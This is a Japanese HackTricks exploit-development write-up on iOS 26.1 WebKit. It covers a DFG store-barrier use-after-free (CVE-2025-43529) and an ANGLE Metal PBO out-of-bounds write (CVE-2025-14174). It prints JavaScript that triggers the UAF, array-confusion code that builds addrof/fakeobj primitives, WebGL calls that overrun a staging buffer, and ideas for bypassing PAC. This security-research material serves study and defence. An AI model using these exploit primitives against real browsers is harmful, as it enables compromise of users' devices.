WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
- DFG Store Barrier bug (CVE-2025-43529):
DFGStoreBarrierInsertionPhase.cppにおいて、Upsilon 入力が escaped されていないのに Phi ノードだけが escaped とマークされると、フェーズが後続のオブジェクトストアに対して write barrier を挿入するのをスキップしてしまう。GC の圧力下でこれにより JSC がまだ到達可能なオブジェクトを解放してしまい → use-after-free。 - Exploit target: Date オブジェクトに butterfly を具現化させ(例:
a[0] = 1.1)、その butterfly が解放され、続いて配列要素ストレージとして再利用されるようにして boxed/unboxed の混乱を作り出し →addrof/fakeobjプリミティブを構築する。 - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend は PBO のステージングバッファを実際のテクスチャ高さではなく
UNPACK_IMAGE_HEIGHTを使って割り当てる。小さな unpack height を与えたあとに大きなtexImage2Dを発行すると、staging-buffer の OOB 書き込み(PoC では約240KB)を引き起こす。 - PAC blockers on arm64e (iOS 26.1): TypedArray の
m_vectorと JSArray のbutterflyは PAC 署名されているため、攻撃者が選んだポインタで fake オブジェクトを偽造するとEXC_BAD_ACCESS/EXC_ARM_PACでクラッシュする。既に署名された butterfly を再利用する(boxed/unboxed の再解釈)方法のみが動作する。
DFG のバリア欠落から UAF を誘発する
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- 世代バリアを作動させるためにAをold spaceに配置する。
- インデックス付きのDateを作成して、butterflyを解放対象にする。
ArrayBuffer(0x800000)をsprayしてGCを強制し、レースを広げる。- Phi/Upsilonのescape mismatchによりバリアの挿入が止まる;
b.p1 = aはwithout a write barrierのまま実行されるため、GCはa/butterflyを回収する。
Butterfly 回収 → boxed/unboxed の混乱
GCがDateのbutterflyを解放した後、解放されたスラブが異なるelement kindsを持つ2つの配列の要素として再利用されるように配列をsprayする:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
ステータス(iOS 26.1 (arm64e)):
- 動作:
addrof,fakeobj, 1回の実行あたり20+ address leaks、inline-slot read/write(既知の inline フィールド上)。 - まだ安定していない: 汎用化された
read64/write64を inline-slot backings 経由で実現する試みは不安定。
arm64e における PAC の制約(なぜ fake objects がクラッシュするか)
- TypedArray
m_vectorと JSArraybutterflyは PAC-signed;ポインタを偽造するとEXC_BAD_ACCESS/ おそらくEXC_ARM_PACを引き起こす。 - The confusion primitive は、正当な signed butterflies を再利用するために動作する;署名されていない攻撃者ポインタを導入すると認証に失敗する。
- 考えられるバイパス案:認証をスキップする JIT パス、攻撃者ポインタに署名する gadgets、または ANGLE OOB を経由してピボットすること。
ANGLE Metal PBO under-allocation → OOB write
小さな unpack height を使って staging buffer を縮め、その後大きな texture をアップロードしてコピーがオーバーランするようにする:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
メモ:
TextureMtl.cppのバグ: staging buffer が PBO パスで実際のテクスチャ高さの代わりにUNPACK_IMAGE_HEIGHTを使用している。- 参照プローブでは WebGL2 の PBO トリガーは組み込まれているが、iOS 26.1 ではまだ安定して観測されていない。
参考文献
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


